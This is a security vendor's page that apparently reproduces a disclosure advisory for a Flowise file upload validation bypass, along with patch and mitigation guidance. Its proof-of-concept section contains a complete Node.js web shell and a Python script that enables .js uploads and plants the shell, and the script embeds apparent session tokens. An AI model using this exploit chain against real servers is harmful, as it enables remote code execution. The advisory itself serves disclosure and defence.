GHSA-rh7v-6w34-w2rr
HIGHGHSA-rh7v-6w34-w2rr is a high-severity (CVSS 7.1) Unrestricted File Upload vulnerability in flowise. O3 Security confirms whether GHSA-rh7v-6w34-w2rr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Flowise: File Upload Validation Bypass in createAttachment
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flowisenpmDescription
Summary
In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
This is a bypass of GHSA‑35g6‑rrw3‑v6xc (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the application/javascript MIME type when updating a Chatflow, allowing .js files to be uploaded.
JavaScript files are not listed as an option for file upload types within web user interface: <img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" />
PoC
shell.js (Node.js Web Shell)
const { exec } = require('child_process');
const http = require('http');
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const cmd = url.searchParams.get('cmd');
if (cmd) {
console.log(`Executing: ${cmd}`);
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
if (error) {
res.end(`Error: ${error.message}\n${stderr || ''}`);
} else {
res.end(stdout || 'Command executed successfully');
}
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(`
<h1>Node.js Web Shell</h1>
<p>Use ?cmd=command to execute</p>
<p>Example: ?cmd=id</p>
`);
}
});
const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
console.log(`Shell running on port ${PORT}`);
console.log(`Access: http://localhost:${PORT}?cmd=id`);
});
Python Upload Script
import requests
import uuid
TARGET_URL = "http://192.168.236.131:3000"
CHATFLOW_ID = "dfd67fff-23b5-4f62-a0b3-59963cabc3b2"
cookie_str = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y'
js_mime_type = 'application/javascript'
CHAT_ID = str(uuid.uuid4())
def configure_chatflow_uploadfile():
url = f"{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}"
headers = {'Cookie': cookie_str, 'x-request-from': 'internal'}
chatbot_configdata = {"chatbotConfig":'{\"fullFileUpload\":{\"status\":true,\"allowedUploadFileTypes\":\"' + js_mime_type + ',text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\",\"pdfFile\":{\"usage\":\"perPage\",\"legacyBuild\":false}}}'}
r = requests.put(url, headers=headers, json = chatbot_configdata)
if js_mime_type in r.text:
print("[+] Enabled .js file uploads")
else:
print("[-] Failed to enable .js file uploads")
def upload_shell():
url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
headers = {'Cookie': cookie_str}
files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 200:
print("[+] Upload success")
print(r.text)
else:
print(f"[-] Upload failed ({r.status_code})")
print(r.text)
if __name__ == "__main__":
configure_chatflow_uploadfile()
upload_shell()
<img width="839" height="231" alt="image" src="https://github.com/user-attachments/assets/0d2e8384-8da6-4ada-a81a-a85c49476673" />
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rh7v-6w34-w2rr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rh7v-6w34-w2rr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rh7v-6w34-w2rr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rh7v-6w34-w2rr in your dependencies?
O3 detects GHSA-rh7v-6w34-w2rr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.